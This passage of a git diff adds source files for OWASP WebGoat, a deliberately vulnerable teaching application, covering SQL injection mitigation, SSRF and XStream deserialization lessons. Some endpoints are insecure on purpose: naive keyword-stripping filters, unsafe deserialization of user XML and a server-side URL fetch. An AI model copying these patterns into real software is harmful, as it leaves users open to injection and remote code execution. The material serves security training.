regexUsesSetString = "(?=.*setString.*)"; + String regexUsesExecute = "(?=.*execute.*)"; + String regexUsesExecuteUpdate = "(?=.*executeUpdate.*)"; + + String codeline = editor.replace("\n", "").replace("\r", ""); + + boolean setsUpConnection = this.check_text(regexSetsUpConnection, codeline); + boolean usesPreparedStatement = this.check_text(regexUsesPreparedStatement, codeline); + boolean usesSetString = this.check_text(regexUsesSetString, codeline); + boolean usesPlaceholder = this.check_text(regexUsesPlaceholder, codeline); + boolean usesExecute = this.check_text(regexUsesExecute, codeline); + boolean usesExecuteUpdate = this.check_text(regexUsesExecuteUpdate, codeline); + + boolean hasImportant = + (setsUpConnection + && usesPreparedStatement + && usesPlaceholder + && usesSetString + && (usesExecute || usesExecuteUpdate)); + List hasCompiled = this.compileFromString(editor); + + if (hasImportant && hasCompiled.size() < 1) { + return success(this).feedback("sql-injection.10b.success").build(); + } else if (hasCompiled.size() > 0) { + String errors = ""; + for (Diagnostic d : hasCompiled) { + errors += d.getMessage(null) + "
"; + } + return failed(this).feedback("sql-injection.10b.compiler-errors").output(errors).build(); + } else { + return failed(this).feedback("sql-injection.10b.failed").build(); + } + } catch (Exception e) { + return failed(this).output(e.getMessage()).build(); + } + } + + private List compileFromString(String s) { + JavaCompiler compiler = ToolProvider.getSystemJavaCompiler(); + DiagnosticCollector diagnosticsCollector = new DiagnosticCollector(); + StandardJavaFileManager fileManager = + compiler.getStandardFileManager(diagnosticsCollector, null, null); + JavaFileObject javaObjectFromString = getJavaFileContentsAsString(s); + Iterable fileObjects = Arrays.asList(javaObjectFromString); + JavaCompiler.CompilationTask task = + compiler.getTask(null, fileManager, diagnosticsCollector, null, null, fileObjects); + Boolean result = task.call(); + List diagnostics = diagnosticsCollector.getDiagnostics(); + return diagnostics; + } + + private SimpleJavaFileObject getJavaFileContentsAsString(String s) { + StringBuilder javaFileContents = + new StringBuilder( + "import java.sql.*; public class TestClass { static String DBUSER; static String DBPW;" + + " static String DBURL; public static void main(String[] args) {" + + s + + "}}"); + JavaObjectFromString javaFileObject = null; + try { + javaFileObject = new JavaObjectFromString("TestClass.java", javaFileContents.toString()); + } catch (Exception exception) { + exception.printStackTrace(); + } + return javaFileObject; + } + + class JavaObjectFromString extends SimpleJavaFileObject { + private String contents = null; + + public JavaObjectFromString(String className, String contents) throws Exception { + super(new URI(className), Kind.SOURCE); + this.contents = contents; + } + + public CharSequence getCharContent(boolean ignoreEncodingErrors) throws IOException { + return contents; + } + } + + private boolean check_text(String regex, String text) { + Pattern p = Pattern.compile(regex, Pattern.CASE_INSENSITIVE); + Matcher m = p.matcher(text); + if (m.find()) return true; + else return false; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson13.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson13.java new file mode 100644 index 000000000..453f0e3e1 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson13.java @@ -0,0 +1,74 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.mitigation; + +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint-mitigation-13-1", + "SqlStringInjectionHint-mitigation-13-2", + "SqlStringInjectionHint-mitigation-13-3", + "SqlStringInjectionHint-mitigation-13-4" + }) +@Slf4j +public class SqlInjectionLesson13 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson13(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjectionMitigations/attack12a") + @ResponseBody + public AttackResult completed(@RequestParam String ip) { + try (Connection connection = dataSource.getConnection(); + PreparedStatement preparedStatement = + connection.prepareStatement("select ip from servers where ip = ? and hostname = ?")) { + preparedStatement.setString(1, ip); + preparedStatement.setString(2, "webgoat-prd"); + ResultSet resultSet = preparedStatement.executeQuery(); + if (resultSet.next()) { + return success(this).build(); + } + return failed(this).build(); + } catch (SQLException e) { + log.error("Failed", e); + return (failed(this).build()); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionMitigations.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionMitigations.java new file mode 100644 index 000000000..8ed3e0c1b --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionMitigations.java @@ -0,0 +1,40 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.mitigation; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class SqlInjectionMitigations extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A3; + } + + @Override + public String getTitle() { + return "3.sql.mitigation.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidation.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidation.java new file mode 100644 index 000000000..4cfec6337 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidation.java @@ -0,0 +1,59 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.mitigation; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.sqlinjection.advanced.SqlInjectionLesson6a; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = {"SqlOnlyInputValidation-1", "SqlOnlyInputValidation-2", "SqlOnlyInputValidation-3"}) +public class SqlOnlyInputValidation extends AssignmentEndpoint { + + private final SqlInjectionLesson6a lesson6a; + + public SqlOnlyInputValidation(SqlInjectionLesson6a lesson6a) { + this.lesson6a = lesson6a; + } + + @PostMapping("/SqlOnlyInputValidation/attack") + @ResponseBody + public AttackResult attack(@RequestParam("userid_sql_only_input_validation") String userId) { + if (userId.contains(" ")) { + return failed(this).feedback("SqlOnlyInputValidation-failed").build(); + } + AttackResult attackResult = lesson6a.injectableQuery(userId); + return new AttackResult( + attackResult.isLessonCompleted(), + attackResult.getFeedback(), + attackResult.getOutput(), + getClass().getSimpleName(), + true); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidationOnKeywords.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidationOnKeywords.java new file mode 100644 index 000000000..3a324bc65 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidationOnKeywords.java @@ -0,0 +1,65 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.mitigation; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.sqlinjection.advanced.SqlInjectionLesson6a; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlOnlyInputValidationOnKeywords-1", + "SqlOnlyInputValidationOnKeywords-2", + "SqlOnlyInputValidationOnKeywords-3" + }) +public class SqlOnlyInputValidationOnKeywords extends AssignmentEndpoint { + + private final SqlInjectionLesson6a lesson6a; + + public SqlOnlyInputValidationOnKeywords(SqlInjectionLesson6a lesson6a) { + this.lesson6a = lesson6a; + } + + @PostMapping("/SqlOnlyInputValidationOnKeywords/attack") + @ResponseBody + public AttackResult attack( + @RequestParam("userid_sql_only_input_validation_on_keywords") String userId) { + userId = userId.toUpperCase().replace("FROM", "").replace("SELECT", ""); + if (userId.contains(" ")) { + return failed(this).feedback("SqlOnlyInputValidationOnKeywords-failed").build(); + } + AttackResult attackResult = lesson6a.injectableQuery(userId); + return new AttackResult( + attackResult.isLessonCompleted(), + attackResult.getFeedback(), + attackResult.getOutput(), + getClass().getSimpleName(), + true); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRF.java b/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRF.java new file mode 100644 index 000000000..7a4d788d2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRF.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.ssrf; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class SSRF extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A10; + } + + @Override + public String getTitle() { + return "ssrf.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask1.java b/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask1.java new file mode 100644 index 000000000..210c98421 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask1.java @@ -0,0 +1,66 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.ssrf; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"ssrf.hint1", "ssrf.hint2"}) +public class SSRFTask1 extends AssignmentEndpoint { + + @PostMapping("/SSRF/task1") + @ResponseBody + public AttackResult completed(@RequestParam String url) { + return stealTheCheese(url); + } + + protected AttackResult stealTheCheese(String url) { + try { + StringBuilder html = new StringBuilder(); + + if (url.matches("images/tom.png")) { + html.append( + "\"Tom\""); + return failed(this).feedback("ssrf.tom").output(html.toString()).build(); + } else if (url.matches("images/jerry.png")) { + html.append( + "\"Jerry\""); + return success(this).feedback("ssrf.success").output(html.toString()).build(); + } else { + html.append("\"Silly"); + return failed(this).feedback("ssrf.failure").output(html.toString()).build(); + } + } catch (Exception e) { + e.printStackTrace(); + return failed(this).output(e.getMessage()).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask2.java b/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask2.java new file mode 100644 index 000000000..cb58bd63d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask2.java @@ -0,0 +1,72 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.ssrf; + +import java.io.IOException; +import java.io.InputStream; +import java.net.MalformedURLException; +import java.net.URL; +import java.nio.charset.StandardCharsets; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"ssrf.hint3"}) +public class SSRFTask2 extends AssignmentEndpoint { + + @PostMapping("/SSRF/task2") + @ResponseBody + public AttackResult completed(@RequestParam String url) { + return furBall(url); + } + + protected AttackResult furBall(String url) { + if (url.matches("http://ifconfig.pro")) { + String html; + try (InputStream in = new URL(url).openStream()) { + html = + new String(in.readAllBytes(), StandardCharsets.UTF_8) + .replaceAll("\n", "
"); // Otherwise the \n gets escaped in the response + } catch (MalformedURLException e) { + return getFailedResult(e.getMessage()); + } catch (IOException e) { + // in case the external site is down, the test and lesson should still be ok + html = + "Although the http://ifconfig.pro site is down, you still managed to solve" + + " this exercise the right way!"; + } + return success(this).feedback("ssrf.success").output(html).build(); + } + var html = "\"image"; + return getFailedResult(html); + } + + private AttackResult getFailedResult(String errorMsg) { + return failed(this).feedback("ssrf.failure").output(errorMsg).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/Contact.java b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/Contact.java new file mode 100644 index 000000000..32c4df24a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/Contact.java @@ -0,0 +1,42 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.vulnerablecomponents; + +public interface Contact { + + public Integer getId(); + + public void setId(Integer id); + + public String getFirstName(); + + public void setFirstName(String firstName); + + public String getLastName(); + + public void setLastName(String lastName); + + public String getEmail(); + + public void setEmail(String email); +} diff --git a/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/ContactImpl.java b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/ContactImpl.java new file mode 100644 index 000000000..f69b253e7 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/ContactImpl.java @@ -0,0 +1,34 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.vulnerablecomponents; + +import lombok.Data; + +@Data +public class ContactImpl implements Contact { + + private Integer id; + private String firstName; + private String lastName; + private String email; +} diff --git a/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponents.java b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponents.java new file mode 100644 index 000000000..a868727db --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponents.java @@ -0,0 +1,40 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.vulnerablecomponents; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class VulnerableComponents extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A6; + } + + @Override + public String getTitle() { + return "vulnerable-components.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponentsLesson.java b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponentsLesson.java new file mode 100644 index 000000000..ad1a91cc4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponentsLesson.java @@ -0,0 +1,75 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.vulnerablecomponents; + +import com.thoughtworks.xstream.XStream; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"vulnerable.hint"}) +public class VulnerableComponentsLesson extends AssignmentEndpoint { + + @PostMapping("/VulnerableComponents/attack1") + public @ResponseBody AttackResult completed(@RequestParam String payload) { + XStream xstream = new XStream(); + xstream.setClassLoader(Contact.class.getClassLoader()); + xstream.alias("contact", ContactImpl.class); + xstream.ignoreUnknownElements(); + Contact contact = null; + + try { + if (!StringUtils.isEmpty(payload)) { + payload = + payload + .replace("+", "") + .replace("\r", "") + .replace("\n", "") + .replace("> ", ">") + .replace(" <", "<"); + } + contact = (Contact) xstream.fromXML(payload); + } catch (Exception ex) { + return failed(this).feedback("vulnerable-components.close").output(ex.getMessage()).build(); + } + + try { + if (null != contact) { + contact.getFirstName(); // trigger the example like + // https://x-stream.github.io/CVE-2013-7285.html + } + if (!(contact instanceof ContactImpl)) { + return success(this).feedback("vulnerable-components.success").build(); + } + } catch (Exception e) { + return success(this).feedback("vulnerable-components.success").output(e.getMessage()).build(); + } + return failed(this).feedback("vulnerable-components.fromXML").feedbackArgs(contact).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/webgoatintroduction/WebGoatIntroduction.java b/src/main/java/org/owasp/webgoat/lessons/webgoatintroduction/WebGoatIntroduction.java new file mode 100644 index 000000000..6c2171e9a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/webgoatintroduction/WebGoatIntroduction.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.webgoatintroduction; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class WebGoatIntroduction extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.INTRODUCTION; + } + + @Override + public String getTitle() { + return "webgoat.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/Email.java b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/Email.java new file mode 100644 index 000000000..b1a3442b3 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/Email.java @@ -0,0 +1,15 @@ +package org.owasp.webgoat.lessons.webwolfintroduction; + +import java.io.Serializable; +import lombok.Builder; +import lombok.Data; + +@Builder +@Data +public class Email implements Serializable { + + private String contents; + private String sender; + private String title; + private String recipient; +} diff --git a/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/LandingAssignment.java b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/LandingAssignment.java new file mode 100644 index 000000000..c6e9e0493 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/LandingAssignment.java @@ -0,0 +1,67 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.webwolfintroduction; + +import java.net.URI; +import java.net.URISyntaxException; +import javax.servlet.http.HttpServletRequest; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.servlet.ModelAndView; + +/** + * @author nbaars + * @since 8/20/17. + */ +@RestController +public class LandingAssignment extends AssignmentEndpoint { + + @Value("${webwolf.landingpage.url}") + private String landingPageUrl; + + @PostMapping("/WebWolf/landing") + @ResponseBody + public AttackResult click(String uniqueCode) { + if (StringUtils.reverse(getWebSession().getUserName()).equals(uniqueCode)) { + return success(this).build(); + } + return failed(this).feedback("webwolf.landing_wrong").build(); + } + + @GetMapping("/WebWolf/landing/password-reset") + public ModelAndView openPasswordReset(HttpServletRequest request) throws URISyntaxException { + URI uri = new URI(request.getRequestURL().toString()); + ModelAndView modelAndView = new ModelAndView(); + modelAndView.addObject("webwolfUrl", landingPageUrl); + modelAndView.addObject("uniqueCode", StringUtils.reverse(getWebSession().getUserName())); + + modelAndView.setViewName("lessons/webwolfintroduction/templates/webwolfPasswordReset.html"); + return modelAndView; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/MailAssignment.java b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/MailAssignment.java new file mode 100644 index 000000000..8dd168d6e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/MailAssignment.java @@ -0,0 +1,92 @@ 